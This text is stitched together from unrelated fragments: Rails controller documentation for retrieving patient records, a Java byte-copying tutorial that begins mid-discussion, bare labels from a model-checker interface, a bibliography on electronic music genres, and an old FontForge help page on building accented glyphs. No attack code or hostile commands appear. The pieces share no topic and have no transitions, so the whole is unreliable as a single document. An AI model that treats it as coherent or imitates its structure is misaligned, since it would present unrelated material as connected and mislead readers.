Retrieves patient records from the resource server. The patient may be implicit depending on authorization of the requester. If so, only the records for that patient are retrieved.
# File app/controllers/records_controller.rb, line 21
def index
Rails.logger.debug "======== Enter RecordsController::index ========"
# Each of these calls to get resources can result in a redirection for
# authorization. Don't continue if we redirect - we'll get called again
# later after authorization is complete.
success = get_resource("patient")
Rails.logger.debug " ------ success = #{success} ------"
Rails.logger.debug " ------ @patients.size =<EMAIL_ADDRESS>------"
Rails.logger.debug " ------ @patients =<EMAIL_ADDRESS>------"
# if success && (@patients.size == 1)
# Rails.logger.debug " ------ @patients.size =<EMAIL_ADDRESS>------"
# # Get the rest of the patient information
# success = get_resource("condition")
# success &&= get_resource("medication") if success
# success &&= get_resource("encounter") if success
# success &&= get_resource("observation") if success
# Rails.logger.debug " ------ @conditions =<EMAIL_ADDRESS>------"
# Rails.logger.debug " ------ @medications =<EMAIL_ADDRESS>------"
# Rails.logger.debug " ------ @encounters =<EMAIL_ADDRESS>------"
# Rails.logger.debug " ------ @observations =<EMAIL_ADDRESS>------"
# end
end
GET /organizations/1/records/1 GET /organizations/1/records/1.json
Retrieves the patient record specified by ID from the resource server.
# File app/controllers/records_controller.rb, line 57
def show
Rails.logger.debug "======== Enter RecordsController::show ========"
# Each of these calls to get resources can result in a redirection for
# authorization. Don't continue if we redirect - we'll get called again
# later after authorization is complete.
query = "?patient=" + params[:id]
success = get_resource("patient/@" + params[:id])
success &&= get_resource("condition" + query) if success
success &&= get_resource("medication" + query) if success
success &&= get_resource("encounter" + query) if success
success &&= get_resource("observation" + query) if success
end


No, it only reminds the user of the correct order. The user is expected to start the program without arguments to get a reminder.
The class File
could be
used to check if a file already
exists (and then not used as the destination).
The program could be improved by using that class.
But for now, here is the complete program:
import java.io.*; class CopyBytes { public static void main ( String[] args ) { DataInputStream instr; DataOutputStream outstr; if ( args.length != 3 || !args[1].toUpperCase().equals("TO") ) { System.out.println("java CopyBytes source to destination"); return; } try { instr = new DataInputStream( new BufferedInputStream( new FileInputStream( args[0] ))); outstr = new DataOutputStream( new BufferedOutputStream( new FileOutputStream( args[2] ))); try { int data; while ( true ) { data = instr.readUnsignedByte() ; outstr.writeByte( data ) ; } } catch ( EOFException eof ) { outstr.close(); instr.close(); return; } } catch ( FileNotFoundException nfx ) { System.out.println("Problem opening files" ); } catch ( IOException iox ) { System.out.println("IO Problems" ); } } }
A computer's operating system comes with a file copy command, so there is no practical use for this program. But it is a foundation for many programs that are of practical use. Various data transformations can be done by slipping in some statements between the reading and the writing of the byte.


Choose spec:
What is the behavior spec?
Initial predicate and next-state
Temporal formula
No behavior spec
Init:
Next:
What is the model?
Start Model Check
Stop Model Checking


- Techno Rebels: The Renegades of Electronic Funk - Dan Sicko, ISBN-13:<PHONE_NUMBER>386
- Last Night a DJ Saved My Life - Bill Brewster & Frank Broughton, ISBN 13:<PHONE_NUMBER>886
- Echo Nest API - list of all documented music genres, retrieved by API request
- Deezer database for initializing artist smart radio music player
- http://techno.org/electronic-music-guide/
- http://en.wikipedia.org/wiki/List_of_electronic_music_genres
- http://en.wikipedia.org/wiki/Techno
- http://dragoneer.aisites.com/subgenres.html
- http://housemusicevolution.weebly.com/styles.html
- http://www.thomson.co.uk/blog/2011/10/how-music-travels-infographic/
- https://topdeejays.com/about/


>
This is part of the old website. New website begins at fontforge.github.io
Are you a web developer? Help us migrate this page on Github
You can use the Element->Build->Build Accented Glyph command to build up accented glyphs. Or you can use Element->Build->Build Composite and build slightly more general composite glyphs (ligatures and so forth). The accented version will not create ligatures and will not replace Alpha with A. The composite version will do both these things. My assumption is that ligatures (like the "fi" ligature) usually need a bit of work on the user's part to get them to look good, in the case of "fi" the dot on the "i" needs to be fused into the hook of the "f", and if you are careless with the command you might destroy your work inadvertently.
What can be built?
So for each selected glyph in the font view (or for the current glyph in
the outline view), and if all the base glyphs and accents needed by the glyph
have already been created then this command will delete anything that is
in the current layerand put a reference to the base glyph and another reference
to the accent glyph into the foreground. So if the current glyph were "À"
then a reference to "A" would be added to it, and a reference to "`" would
be centered above the "A".
If Copy From is set to All Fonts then any
bitmaps will have a similar process done -- that is to say, bitmap references
will be created (even in the outline glyph view).
Choosing accents can be a slightly tricky process. Unicode says that accented letters are logically built out of the accents in the range 0x300-0x340, but this does not work too well in postscript. A Type1 font works better if the accented glyph is in the Adobe Standard Encoding, which means either using accents around 0x2d0 or ascii glyphs. FontForge will first attempt to find an accent around 0x2d0, then in ascii and finally in the 0x300-0x340 range. Even worse, Unicode unifies the greek and latin accents, so for greek letters FontForge will look for accents around 0x1fbd (FontForge will also require the presence of the double accents like 0x1fdd).
Some of Adobe's fonts have accents designed for use over upper case letters (the nomal accents are designed for lower case), and accents designed for use over cyrillic letters. So in such a font, if you attempt to build "Agrave" FontForge will build it out of "A" and "Grave" (or "grave.cap", not the standard "grave").
Not all accents should be centered above the base glyph, a cedilla is (usually) centered underneath the base, while other accents need to be placed to the left or right, or even overstruck. FontForge should know about proper placement of most accents (or at least a rough approximation thereto).
Some Unicode glyphs contain more than one accent. Additional accents will be treated similarly. This command can also be used to generate more general composite glyphs .
Some accents (for example cedilla) are treated unexpectedly on certain letters (different ways in different languages), so be careful of g-cedilla. Å often merges the ring into the top of the A, but here it will float above it. Be alert.
Placing an accent above a glyph is surprisingly tricky. Centered accents (like grave, acute, etc.) should not really be placed in the exact center of the glyph. For instance when placing an acute accent on top of an "a" the accent should actually go above the highest part of the "a" which is almost but not quite in the center of the glyph. And when placing an acute on top of a "k" (a rare combination, but still used) the accent is centered on the stem of the "k". Greek accents are even more baroque. FontForge knows many oddities of accent placement, but it will never know all of them (some letters have multiple forms depending on the font, or perhaps on the humidity and phase of the moon).
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And how accents are centered depends on the accents themselves. Usually FontForge will try to center an accent so that the accent's center is over the base glyph's "center". But that doesn't always work either. The grave and acute accents are usually (but not always) centered only on the bottom part of the glyph.
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FontForge gives you a minuscule amount of control over where it puts accents. There are two preference items you can set (File->Preferences)
NOTE: So FontForge is going to do something wrong.  I strongly recommend that you examine all your accented glyphs after building them and be prepared to adjust things.
The algorithms take some account of the italicangle, but when working on an italic (or oblique) font FontForge is even more likely to do something you don't like.
If all else fails you can build your own accented glyphs with Edit->Copy Reference and Edit->Paste
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